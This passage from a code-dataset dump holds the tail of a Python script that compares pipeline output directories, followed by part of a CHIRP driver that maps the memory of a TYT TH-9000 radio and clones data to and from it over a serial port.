ma.group(3)])\n assert (proj, inp, attempt) not in attempts\n attempts.add((proj, inp, attempt))\n if (proj, inp) in proj_inputs:\n for prev_attempt in proj_inputs[(proj, inp)]:\n if not quiet:\n print('Trying %s == %s' % (full_dir, prev_attempt), file=sys.stderr)\n my_good_summary, my_bad_summary, my_bad_list, my_ignored =\\\n compare(full_dir, prev_attempt, ignores=ignores)\n good_summary = merge_add(good_summary, my_good_summary)\n bad_summary = merge_add(bad_summary, my_bad_summary)\n bad_list += my_bad_list\n ignored += my_ignored\n proj_inputs[(proj, inp)].append(full_dir)\n else:\n proj_inputs[(proj, inp)] = [full_dir]\n return good_summary, bad_summary, bad_list, ignored\n\n\ndef _put(fn, text):\n with open(fn, 'wt') as fh:\n fh.write(text)\n\n\ndef _put_both(dir1, dir2, fn, text):\n _put(os.path.join(dir1, fn), text)\n _put(os.path.join(dir2, fn), text)\n\n\ndef test_comapre_1():\n dir1 = tempfile.mkdtemp()\n dir2 = tempfile.mkdtemp()\n _put_both(dir1, dir2, 'test1.txt', 'hello\\n')\n _put_both(dir1, dir2, 'test2.txt', 'world\\n')\n good_summary, bad_summary, bad_list, ignored = compare(dir1, dir2)\n assert 2 == good_summary['txt']\n assert 0 == len(bad_summary)\n assert 0 == len(bad_list)\n assert 0 == ignored\n\n\ndef test_comapre_2():\n dir1 = tempfile.mkdtemp()\n dir2 = tempfile.mkdtemp()\n _put_both(dir1, dir2, 'test1.txt', 'hello\\n')\n _put(os.path.join(dir1, 'test2.txt'), 'world1\\n')\n _put(os.path.join(dir2, 'test2.txt'), 'world2\\n')\n good_summary, bad_summary, bad_list, ignored = compare(dir1, dir2)\n assert 1 == good_summary['txt']\n assert 1 == len(bad_summary)\n assert 1 == len(bad_list)\n assert os.path.join(dir1, 'test2.txt') == bad_list[0][0]\n assert os.path.join(dir2, 'test2.txt') == bad_list[0][1]\n assert 0 == ignored\n\n\ndef test_comapre_3():\n dir1 = tempfile.mkdtemp()\n dir2 = tempfile.mkdtemp()\n _put_both(dir1, dir2, 'test1.txt', 'hello\\n')\n _put(os.path.join(dir1, 'test2.log'), 'world1\\n')\n _put(os.path.join(dir2, 'test2.log'), 'world2\\n')\n _put(os.path.join(dir1, 'test3.json'), 'world1\\n')\n _put(os.path.join(dir2, 'test3.json'), 'world1\\n\\n')\n good_summary, bad_summary, bad_list, ignored = compare(dir1, dir2)\n assert 1 == good_summary['txt']\n assert 1 == len(good_summary)\n assert 0 == len(bad_summary)\n assert 0 == len(bad_list)\n assert 2 == ignored\n\n\ndef test_sweep_1():\n dr = tempfile.mkdtemp()\n dir1 = os.path.join(dr, 'proj1_input1_attempt1')\n dir2 = os.path.join(dr, 'proj1_input1_attempt2')\n os.makedirs(dir1)\n os.makedirs(dir2)\n _put(dir1 + '.done', 'done\\n')\n _put(dir2 + '.done', 'done\\n')\n _put_both(dir1, dir2, 'test1.txt', 'hello\\n')\n _put_both(dir1, dir2, 'test2.txt', 'world\\n')\n good_summary, bad_summary, bad_list, ignored = sweep(dr)\n assert 2 == good_summary['txt']\n assert 0 == len(bad_summary)\n assert 0 == len(bad_list)\n assert 0 == ignored\n\n\ndef go():\n args = docopt(__doc__)\n\n if args['sweep']:\n good_summary, bad_summary, bad_list, ignored = sweep(args[''], quiet=False)\n print(summarize_compare_result(good_summary, bad_summary, bad_list, ignored))\n elif args['compare']:\n good_summary, bad_summary, bad_list, ignored = compare(args[''], args[''])\n print(summarize_compare_result(good_summary, bad_summary, bad_list, ignored))\n\n\nif __name__ == '__main__':\n go()\n", "repo_name": "langmead-lab/recount-pump", "sub_path": "src/attempt_match.py", "file_name": "attempt_match.py", "file_ext": "py", "file_size_in_byte": 7487, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.defaultdict", "line_number": 46, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 47, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 50, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 68, "usage_type": "call"}, {"api_name": "toolbox.md5", "line_number": 74, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 103, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path", "line_number": 142, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path", "line_number": 143, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 147, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 148, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 159, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path", "line_number": 162, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path", "line_number": 168, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path", "line_number": 169, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 174, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 177, "usage_type": "call"}, {"api_name": "os.path", "line_number": 177, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 191, "usage_type": "call"}, {"api_name": "os.path", "line_number": 191, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 192, "usage_type": "call"}, {"api_name": "os.path", "line_number": 192, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 193, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 194, "usage_type": "call"}, {"api_name": "docopt.docopt", "line_number": 207, "usage_type": "call"}]} +{"seq_id": "35205944827", "text": "import struct\nimport logging\n\nfrom chirp import bitwise\nfrom chirp import chirp_common\nfrom chirp import directory\nfrom chirp import errors\nfrom chirp import memmap\nfrom chirp import util\nfrom chirp.settings import RadioSettingGroup, RadioSetting, RadioSettings, \\\n RadioSettingValueList, RadioSettingValueString, RadioSettingValueInteger\n\nLOG = logging.getLogger(__name__)\n\n#\n# Chirp Driver for TYT TH-9000D (models: 2M (144 MHz), 1.25M (220 MHz)\n# and 70 cm (440 MHz) radios)\n#\n# Version 1.0\n#\n# - Skip channels\n#\n# Global Parameters\n#\nMMAPSIZE = 16384\nTONES = [62.5] + list(chirp_common.TONES)\nTMODES = ['', 'Tone', 'DTCS', '']\nDUPLEXES = ['', 'err', '-', '+'] # index 2 not used\nMODES = ['WFM', 'FM', 'NFM'] # 25k, 20k,15k bw\nTUNING_STEPS = [5.0, 6.25, 8.33, 10.0, 12.5, 15.0, 20.0, 25.0, 30.0, 50.0]\n# index 0-9\nPOWER_LEVELS = [chirp_common.PowerLevel(\"High\", watts=65),\n chirp_common.PowerLevel(\"Mid\", watts=25),\n chirp_common.PowerLevel(\"Low\", watts=10)]\n\nCROSS_MODES = chirp_common.CROSS_MODES\n\nAPO_LIST = [\"Off\", \"30 min\", \"1 hr\", \"2 hrs\"]\nBGCOLOR_LIST = [\"Blue\", \"Orange\", \"Purple\"]\nBGBRIGHT_LIST = [\"%s\" % x for x in range(1, 32)]\nSQUELCH_LIST = [\"Off\"] + [\"Level %s\" % x for x in range(1, 20)]\nTIMEOUT_LIST = [\"Off\"] + [\"%s min\" % x for x in range(1, 30)]\nTXPWR_LIST = [\"60W\", \"25W\"] # maximum power for Hi setting\nTBSTFREQ_LIST = [\"1750 Hz\", \"2100 Hz\", \"1000 Hz\", \"1450 Hz\"]\nBEEP_LIST = [\"Off\", \"On\"]\n\nMEM_FORMAT = \"\"\"\n#seekto 0x0000;\nstruct {\n u8 unknown0000[16];\n char idhdr[16];\n u8 unknown0001[16];\n} fidhdr;\n\"\"\"\n# Overall Memory Map:\n#\n# Memory Map (Range 0x0100-3FF0, step 0x10):\n#\n# Field Start End Size\n# (hex) (hex) (hex)\n#\n# 1 Channel Set Flag 0100 011F 20\n# 2 Channel Skip Flag 0120 013F 20\n# 3 Blank/Unknown 0140 01EF B0\n# 4 Unknown 01F0 01FF 10\n# 5 TX/RX Range 0200 020F 10\n# 6 Bootup Passwd 0210 021F 10\n# 7 Options, Radio 0220 023F 20\n# 8 Unknown 0240 019F\n# 8B Startup Label 03E0 03E7 07\n# 9 Channel Bank 2000 38FF 1900\n# Channel 000 2000 201F 20\n# Channel 001 2020 202F 20\n# ...\n# Channel 199 38E0 38FF 20\n# 10 Blank/Unknown 3900 3FFF 6FF 14592 16383 1792\n# Total Map Size 16128 (2^8 = 16384)\n#\n# TH9000/220 memory map\n# section: 1 and 2: Channel Set/Skip Flags\n#\n# Channel Set (starts 0x100) : Channel Set bit is value 0 if a memory\n# location in the channel bank is active.\n# Channel Skip (starts 0x120): Channel Skip bit is value 0 if a memory\n# location in the channel bank is active.\n#\n# Both flag maps are a total 24 bytes in length, aligned on 32 byte records.\n# bit = 0 channel set/no skip, 1 is channel not set/skip\n#\n# to index a channel:\n# cbyte = channel / 8 ;\n# cbit = channel % 8 ;\n# setflag = csetflag[cbyte].c[cbit] ;\n# skipflag = cskipflag[cbyte].c[cbit] ;\n#\n# channel range is 0-199, range is 32 bytes (last 7 unknown)\n#\nMEM_FORMAT = MEM_FORMAT + \"\"\"\n#seekto 0x0100;\nstruct {\n bit c[8];\n} csetflag[32];\n\nstruct {\n u8 unknown0100[7];\n} ropt0100;\n\n#seekto 0x0120;\nstruct {\n bit c[8];\n} cskipflag[32];\n\nstruct {\n u8 unknown0120[7];\n} ropt0120;\n\"\"\"\n# TH9000 memory map\n# section: 5 TX/RX Range\n# used to set the TX/RX range of the radio (e.g. 222-228 MHz for 220 meter)\n# possible to set range for tx/rx\n#\nMEM_FORMAT = MEM_FORMAT + \"\"\"\n#seekto 0x0200;\nstruct {\n bbcd txrangelow[4];\n bbcd txrangehi[4];\n bbcd rxrangelow[4];\n bbcd rxrangehi[4];\n} freqrange;\n\"\"\"\n# TH9000 memory map\n# section: 6 bootup_passwd\n# used to set bootup passwd (see boot_passwd checkbox option)\n#\n# options - bootup password\n#\n# bytes:bit type description\n# ---------------------------------------------------------------------------\n# 6 u8 bootup_passwd[6] bootup passwd, 6 chars, numeric chars\n# 30-39 , see boot_passwd checkbox to set\n# 10 u8 unknown;\n#\n\nMEM_FORMAT = MEM_FORMAT + \"\"\"\n#seekto 0x0210;\nstruct {\n u8 bootup_passwd[6];\n u8 unknown2010[10];\n} ropt0210;\n\"\"\"\n# TH9000/220 memory map\n# section: 7 Radio Options\n# used to set a number of radio options\n#\n# bytes:bit type description\n# ---------------------------------------------------------------------------\n# 1 u8 display_mode display mode, range 0-2, 0=freq,1=channel,\n# 2=name (selecting name affects vfo_mr)\n# 1 u8 vfo_mr; vfo_mr , 0=vfo, mr=1\n# 1 u8 unknown;\n# 1 u8 squelch; squelch level, range 0-19, hex for menu\n# 1 u8 unknown[2];\n# 1 u8 channel_lock; if display_mode[channel] selected, then\n# lock=1,no lock =0\n# 1 u8 unknown;\n# 1 u8 bg_brightness ; background brightness, range 0-21, hex,\n# menu index\n# 1 u8 unknown;\n# 1 u8 bg_color ; bg color, menu index, blue 0 , orange 1,\n# purple 2\n# 1 u8 tbst_freq ; tbst freq, menu 0=1750 Hz, 1=2100,\n# 2=1000, 3=1450 Hz\n# 1 u8 timeout_timer; timeout timer, hex, value = minutes,\n# 0= no timeout\n# 1 u8 unknown;\n# 1 u8 auto_power_off; auto power off, range 0-3, off,30min, 1hr,\n# 2hr, hex menu index\n# 1 u8 voice_prompt; voice prompt, value 0,1 , Beep ON = 1,\n# Beep Off = 2\n#\n# description of function setup options, starting at 0x0230\n#\n# bytes:bit type description\n# ---------------------------------------------------------------------------\n# 1 u8 // 0\n# :4 unknown:6\n# :1 elim_sql_tail:1 eliminate squelsh tail when no ctcss checkbox\n# (1=checked)\n# :1 sql_key_function \"squelch off\" 1 , \"squelch momentary off\" 0 ,\n# menu index\n# 2 u8 unknown[2] /1-2\n# 1 u8 // 3\n# :4 unknown:4\n# :1 inhibit_init_ops:1 //bit 5\n# :1 unknownD:1\n# :1 inhibit_setup_bg_chk:1 //bit 7\n# :1 unknown:1\n# 1 u8 tail_elim_type menu , (off=0,120=1,180=2), // 4\n# 1 u8 choose_tx_power menu , (60w=0,25w=1) // 5\n# 2 u8 unknown[2]; // 6-7\n# 1 u8 bootup_passwd_flag checkbox 1=on, 0=off // 8\n# 7 u8 unknown[7]; // 9-F\n#\nMEM_FORMAT = MEM_FORMAT + \"\"\"\n#seekto 0x0220;\nstruct {\n u8 display_mode;\n u8 vfo_mr;\n u8 unknown0220A;\n u8 squelch;\n u8 unknown0220B[2];\n u8 channel_lock;\n u8 unknown0220C;\n u8 bg_brightness;\n u8 unknown0220D;\n u8 bg_color;\n u8 tbst_freq;\n u8 timeout_timer;\n u8 unknown0220E;\n u8 auto_power_off;\n u8 voice_prompt;\n u8 unknown0230A:6,\n elim_sql_tail:1,\n sql_key_function:1;\n u8 unknown0230B[2];\n u8 unknown0230C:4,\n inhibit_init_ops:1,\n unknown0230D:1,\n inhibit_setup_bg_chk:1,\n unknown0230E:1;\n u8 tail_elim_type;\n u8 choose_tx_power;\n u8 unknown0230F[2];\n u8 bootup_passwd_flag;\n u8 unknown0230G[7];\n} settings;\n\"\"\"\n# TH9000 memory map\n# section: 8B Startup Label\n#\n# bytes:bit type description\n# ---------------------------------------------------------------------------\n# 7 char start_label[7] label displayed at startup (usually your call\n# sign)\n#\nMEM_FORMAT = MEM_FORMAT + \"\"\"\n#seekto 0x03E0;\nstruct {\n char startname[7];\n} slabel;\n\"\"\"\n# TH9000/220 memory map\n# section: 9 Channel Bank\n# description of channel bank (200 channels , range 0-199)\n# Each 32 Byte (0x20 hex) record:\n# bytes:bit type description\n# ---------------------------------------------------------------------------\n# 4 bbcd freq[4] receive frequency in packed binary coded\n# decimal\n# 4 bbcd offset[4] transmit offset in packed binary coded decimal\n# (note: plus/minus direction set by 'duplex'\n# field)\n# 1 u8\n# :4 unknown:4\n# :4 tuning_step:4 tuning step, menu index value from 0-9\n# 5,6.25,8.33,10,12.5,15,20,25,30,50\n# 1 u8\n# :4 unknown:4 not yet decoded, used for DCS coding?\n# :2 channel_width:2 channel spacing, menu index value from 0-3\n# 25,20,12.5\n# :1 reverse:1 reverse flag, 0=off, 1=on (reverses tx and\n# rx freqs)\n# :1 txoff:1 transmitt off flag, 0=transmit ,\n# 1=do not transmit\n# 1 u8\n# :1 talkaround:1 talkaround flag, 0=off, 1=on (bypasses\n# repeater)\n# :1 compander:1 compander flag, 0=off, 1=on (turns on/off\n# voice compander option)\n# :2 unknown:2\n# :2 power:2 tx power setting, value range 0-2, 0=hi,\n# 1=med, 2=lo\n# :2 duplex:2 duplex settings, 0=simplex,\n# 2= minus(-) offset, 3= plus (+) offset\n# (see offset field)\n#\n# 1 u8\n# :4 unknown:4\n# :2 rxtmode:2 rx tone mode, value range 0-2, 0=none,\n# 1=CTCSS, 2=DCS (ctcss tone in field rxtone)\n# :2 txtmode:2 tx tone mode, value range 0-2, 0=none,\n# 1=CTCSS, 3=DCS (ctcss tone in field txtone)\n# 1 u8\n# :2 unknown:2\n# :6 txtone:6 tx ctcss tone, menu index\n# 1 u8\n# :2 unknown:2\n# :6 rxtone:6 rx ctcss tone, menu index\n# 1 u8 txcode ?, not used for ctcss\n# 1 u8 rxcode ?, not used for ctcss\n# 3 u8 unknown[3]\n# 7 char name[7] 7 byte char string for channel name\n# 1 u8\n# :6 unknown:6,\n# :2 busychannellockout:2 busy channel lockout option ,\n# 0=off, 1=repeater, 2=busy\n# (lock out tx if channel busy)\n# 4 u8 unknownI[4];\n# 1 u8\n# :7 unknown:7\n# :1 scrambler:1 scrambler flag, 0=off, 1=on (turns on tyt\n# scrambler option)\n#\nMEM_FORMAT = MEM_FORMAT + \"\"\"\n#seekto 0x2000;\nstruct {\n bbcd freq[4];\n bbcd offset[4];\n u8 unknown2000A:4,\n tuning_step:4;\n u8 rxdcsextra:1,\n txdcsextra:1,\n rxinv:1,\n txinv:1,\n channel_width:2,\n reverse:1,\n txoff:1;\n u8 talkaround:1,\n compander:1,\n unknown2000C:2,\n power:2,\n duplex:2;\n u8 unknown2000D:4,\n rxtmode:2,\n txtmode:2;\n u8 unknown2000E:2,\n txtone:6;\n u8 unknown2000F:2,\n rxtone:6;\n u8 txcode;\n u8 rxcode;\n u8 unknown2000G[3];\n char name[7];\n u8 unknown2000H:6,\n busychannellockout:2;\n u8 unknown2000I[4];\n u8 unknown2000J:7,\n scrambler:1;\n} memory[200] ;\n\"\"\"\n\n\ndef _echo_write(radio, data):\n try:\n radio.pipe.write(data)\n radio.pipe.read(len(data))\n except Exception as e:\n LOG.error(\"Error writing to radio: %s\" % e)\n raise errors.RadioError(\"Unable to write to radio\")\n\n\ndef _checksum(data):\n cs = 0\n for byte in data:\n cs += byte\n return cs % 256\n\n\ndef _read(radio, length):\n try:\n data = radio.pipe.read(length)\n except Exception as e:\n LOG.error(\"Error reading from radio: %s\" % e)\n raise errors.RadioError(\"Unable to read from radio\")\n\n if len(data) != length:\n LOG.error(\"Short read from radio (%i, expected %i)\" % (len(data),\n length))\n LOG.debug(util.hexprint(data))\n raise errors.RadioError(\"Short read from radio\")\n return data\n\n\ndef _ident(radio):\n radio.pipe.timeout = 1\n exito = False\n for i in range(0, 5):\n _echo_write(radio, b\"PROGRAM\")\n response = radio.pipe.read(3)\n\n if response == b\"QX\\06\":\n exito = True\n break\n\n # check if we had EXITO\n if exito is False:\n msg = \"The radio did not accept program mode after five tries.\\n\"\n msg += \"Check you interface cable and power cycle your radio.\"\n raise errors.RadioError(msg)\n\n _echo_write(radio, b\"\\x02\")\n response = radio.pipe.read(16)\n LOG.debug(util.hexprint(response))\n if response[1:8] != b\"TH-9000\":\n LOG.error(\"Looking for:\\n%s\" % util.hexprint(\"TH-9000\"))\n LOG.error(\"Response was:\\n%s\" % util.hexprint(response))\n raise errors.RadioError(\"Unsupported model\")\n\n\ndef _send(radio, cmd, addr, length, data=None):\n frame = struct.pack(\">cHb\", cmd, addr, length)\n if data:\n frame += data\n frame += bytes([_checksum(frame[1:])])\n frame += b\"\\x06\"\n _echo_write(radio, frame)\n LOG.debug(\"Sent:\\n%s\" % util.hexprint(frame))\n if data:\n result = radio.pipe.read(1)\n if result != b\"\\x06\":\n LOG.debug(\"Ack was: %s\" % repr(result))\n raise errors.RadioError(\n \"Radio did not accept block at %04x\" % addr)\n return\n result = _read(radio, length + 6)\n LOG.debug(\"Got:\\n%s\" % util.hexprint(result))\n header = result[:4]\n data = result[4:-2]\n ack = result[-1:]\n if ack != b\"\\x06\":\n LOG.debug(\"Ack was: %s\" % repr(ack))\n raise errors.RadioError(\"Radio NAK'd block at %04x\" % addr)\n _cmd, _addr, _length = struct.unpack(\">cHb\", header)\n if _addr != addr or _length != _length:\n LOG.debug(\"Expected/Received:\")\n LOG.debug(\" Length: %02x/%02x\" % (length, _length))\n LOG.debug(\" Addr: %04x/%04x\" % (addr, _addr))\n raise errors.RadioError(\"Radio send unexpected block\")\n cs = _checksum(result[1:-2])\n if cs != result[-2]:\n LOG.debug(\"Calculated: %02x\" % cs)\n LOG.debug(\"Actual: %02x\" % result[-2])\n raise errors.RadioError(\"Block at 0x%04x failed checksum\" % addr)\n return data\n\n\ndef _finish(radio):\n endframe = b\"\\x45\\x4E\\x44\"\n _echo_write(radio, endframe)\n result = radio.pipe.read(1)\n # TYT radios acknowledge the \"endframe\" command, Luiton radios do not.\n if result != b\"\" and result != b\"\\x06\":\n LOG.error(\"Got:\\n%s\" % util.hexprint(result))\n raise errors.RadioError(\"Radio did not finish cleanly\")\n\n\ndef do_download(radio):\n\n _ident(radio)\n\n _memobj = None\n data = b\"\"\n\n for start, end in radio._ranges:\n for addr in range(start, end, 0x10):\n block = _send(radio, b'R', addr, 0x10)\n data += block\n status = chirp_common.Status()\n status.cur = len(data)\n status.max = end\n status.msg = \"Downloading from radio\"\n radio.status_fn(status)\n\n _finish(radio)\n\n return memmap.MemoryMapBytes(data)\n\n\ndef do_upload(radio):\n\n _ident(radio)\n\n for start, end in radio._ranges:\n for addr in range(start, end, 0x10):\n if addr < 0x0100:\n continue\n block = radio._mmap[addr:addr + 0x10]\n _send(radio, b'W', addr, len(block), block)\n status = chirp_common.Status()\n status.cur = addr\n status.max = end\n status.msg = \"Uploading to Radio\"\n radio.status_fn(status)\n\n _finish(radio)\n\n\n#\n# The base class, extended for use with other models\n#\nclass Th9000Radio(chirp_common.CloneModeRadio,\n chirp_common.ExperimentalRadio):\n \"\"\"TYT TH-9000\"\"\"\n VENDOR = \"TYT\"\n MODEL = \"TH9000 Base\"\n BAUD_RATE = 9600\n NEEDS_COMPAT_SERIAL = False\n valid_freq = [(900000000, 999000000)]\n\n _memsize = MMAPSIZE\n _ranges = [(0x0000, 0x4000)]\n\n @classmethod\n def get_prompts(cls):\n rp = chirp_common.RadioPrompts()\n rp.experimental = (\"The TYT TH-9000 driver is an beta version.\"\n \"Proceed with Caution and backup your data\")\n return rp\n\n def get_features(self):\n rf = chirp_common.RadioFeatures()\n rf.has_settings = True\n rf.has_bank = False\n rf.has_cross = True\n rf.has_tuning_step = False\n rf.has_rx_dtcs = True\n rf.valid_skips = [\"\", \"S\"]\n rf.memory_bounds = (0, 199)\n rf.valid_name_length = 7\n rf.valid_characters = chirp_common.CHARSET_UPPER_NUMERIC + \"-\"\n rf.valid_modes = MODES\n rf.valid_tmodes = ['', 'Tone', 'TSQL', 'DTCS', 'Cross']\n rf.valid_cross_modes = ['Tone->DTCS', 'DTCS->Tone',\n '->Tone', '->DTCS', 'Tone->Tone']\n rf.valid_power_levels = POWER_LEVELS\n rf.valid_tones = TONES\n rf.valid_dtcs_codes = chirp_common.ALL_DTCS_CODES\n rf.valid_bands = self.valid_freq\n rf.valid_tuning_steps = TUNING_STEPS\n return rf\n\n # Do a download of the radio from the serial port\n def sync_in(self):\n self._mmap = do_download(self)\n self.process_mmap()\n\n # Do an upload of the radio to the serial port\n def sync_out(self):\n do_upload(self)\n\n def process_mmap(self):\n self._memobj = bitwise.parse(MEM_FORMAT, self._mmap)\n\n # Return a raw representation of the memory object, which\n # is very helpful for development\n def get_raw_memory(self, number):\n return repr(self._memobj.memory[number])\n\n # not working yet\n def _get_dcs_index(self, _mem, which):\n base = getattr(_mem, '%scode' % which)\n extra = getattr(_mem, '%sdcsextra' % which)\n return (int(extra) << 8) | int(base)\n\n def _set_dcs_index(self, _mem, which, index):\n base = getattr(_mem, '%scode' % which)\n extra = getattr(_mem, '%sdcsextra' % which)\n base.set_value(index & 0xFF)\n extra.set_value(index >> 8)\n\n # Extract a high-level memory object from the low-level memory map\n # This is called to populate a memory in the UI\n def get_memory(self, number):\n # Get a low-level memory object mapped to the image\n _mem = self._memobj.memory[number]\n\n # get flag info\n cbyte = number // 8\n cbit = 7 - (number % 8)\n setflag = self._memobj.csetflag[cbyte].c[cbit]\n skipflag = self._memobj.cskipflag[cbyte].c[cbit]\n\n mem = chirp_common.Memory()\n\n mem.number = number # Set the memory number\n\n if setflag == 1:\n mem.empty = True\n return mem\n\n mem.freq = int(_mem.freq) * 100\n\n # compensate for 6.25 and 12.5 kHz tuning steps, add 500 Hz if needed\n lastdigit = int(_mem.freq) % 10\n if (lastdigit == 2 or lastdigit == 7):\n mem.freq += 50\n\n mem.offset = int(_mem.offset) * 100\n # Set the alpha tag\n mem.name = self.filter_name(str(_mem.name).rstrip())\n mem.duplex = DUPLEXES[_mem.duplex]\n mem.mode = MODES[_mem.channel_width]\n mem.power = POWER_LEVELS[_mem.power]\n\n rxtone = txtone = None\n\n rxmode = TMODES[_mem.rxtmode]\n txmode = TMODES[_mem.txtmode]\n\n # doesn't work\n if rxmode == \"Tone\":\n rxtone = TONES[_mem.rxtone]\n elif rxmode == \"DTCS\":\n rxtone = chirp_common.ALL_DTCS_CODES[self._get_dcs_index(\n _mem, 'rx')]\n\n if txmode == \"Tone\":\n txtone = TONES[_mem.txtone]\n elif txmode == \"DTCS\":\n txtone = chirp_common.ALL_DTCS_CODES[self._get_dcs_index(\n _mem, 'tx')]\n\n rxpol = _mem.rxinv and \"R\" or \"N\"\n txpol = _mem.txinv and \"R\" or \"N\"\n\n chirp_common.split_tone_decode(mem,\n (txmode, txtone, txpol),\n (rxmode, rxtone, rxpol))\n\n mem.skip = \"S\" if skipflag == 1 else \"\"\n\n # We'll consider any blank (i.e. 0 MHz frequency) to be empty\n if mem.freq == 0:\n mem.empty = True\n\n return mem\n\n # Store details about a high-level memory to the memory map\n # This is called when a user edits a memory in the UI\n def set_memory(self, mem):\n # Get a low-level memory object mapped to the image\n\n _mem = self._memobj.memory[mem.number]\n\n cbyte = mem.number // 8\n cbit = 7 - (mem.number % 8)\n\n if mem.empty:\n self._memobj.csetflag[cbyte].c[cbit] = 1\n self._memobj.cskipflag[cbyte].c[cbit] = 1\n return\n\n self._memobj.csetflag[cbyte].c[cbit] = 0\n self._memobj.cskipflag[cbyte].c[cbit] = 1 if (mem.skip == \"S\") else 0\n\n _mem.set_raw(\"\\x00\" * 32)\n\n _mem.freq = mem.freq / 100 # Convert to low-level frequency\n _mem.offset = mem.offset / 100 # Convert to low-level frequency\n\n _mem.name = mem.name.ljust(7)[:7] # Store the alpha tag\n _mem.duplex = DUPLEXES.index(mem.duplex)\n\n try:\n _mem.channel_width = MODES.index(mem.mode)\n except ValueError:\n _mem.channel_width = 0\n\n ((txmode, txtone, txpol),\n (rxmode, rxtone, rxpol)) = chirp_common.split_tone_encode(mem)\n\n _mem.txtmode = TMODES.index(txmode)\n\n _mem.rxtmode = TMODES.index(rxmode)\n\n if txmode == \"Tone\":\n _mem.txtone = TONES.index(txtone)\n elif txmode == \"DTCS\":\n self._set_dcs_index(_mem, 'tx',\n chirp_common.ALL_DTCS_CODES.index(txtone))\n\n if rxmode == \"Tone\":\n _mem.rxtone = TONES.index(rxtone)\n elif rxmode == \"DTCS\":\n self._set_dcs_index(_mem, 'rx',\n chirp_common.ALL_DTCS_CODES.index(rxtone))\n\n _mem.txinv = txpol == \"R\"\n _mem.rxinv = rxpol == \"R\"\n\n if mem.power:\n _mem.power = POWER_LEVELS.index(mem.power)\n else:\n _mem.power = 0\n\n def _get_settings(self):\n _settings = self._memobj.settings\n _freqrange = self._memobj.freqrange\n _slabel = self._memobj.slabel\n\n basic = RadioSettingGroup(\"basic\", \"Global Settings\")\n freqrange = RadioSettingGroup(\"freqrange\", \"Frequency Ranges\")\n top = RadioSettingGroup(\"top\", \"All Settings\", basic, freqrange)\n settings = RadioSettings(top)\n\n def _filter(name):\n filtered = \"\"\n for char in str(name):\n if char in chirp_common.CHARSET_ASCII:\n filtered += char\n else:\n filtered += \"\"\n return filtered\n\n val = RadioSettingValueString(0, 7, _filter(_slabel.startname))\n rs = RadioSetting(\"startname\", \"Startup Label\", val)\n basic.append(rs)\n\n rs = RadioSetting(\"bg_color\", \"LCD Color\",\n RadioSettingValueList(BGCOLOR_LIST, BGCOLOR_LIST[\n _settings.bg_color]))\n basic.append(rs)\n\n rs = RadioSetting(\"bg_brightness\", \"LCD Brightness\",\n RadioSettingValueList(BGBRIGHT_LIST, BGBRIGHT_LIST[\n _settings.bg_brightness]))\n basic.append(rs)\n\n rs = RadioSetting(\"squelch\", \"Squelch Level\",\n RadioSettingValueList(SQUELCH_LIST, SQUELCH_LIST[\n _settings.squelch]))\n basic.append(rs)\n\n rs = RadioSetting(\"timeout_timer\", \"Timeout Timer (TOT)\",\n RadioSettingValueList(TIMEOUT_LIST, TIMEOUT_LIST[\n _settings.timeout_timer]))\n basic.append(rs)\n\n rs = RadioSetting(\"auto_power_off\", \"Auto Power Off (APO)\",\n RadioSettingValueList(APO_LIST, APO_LIST[\n _settings.auto_power_off]))\n basic.append(rs)\n\n rs = RadioSetting(\"voice_prompt\", 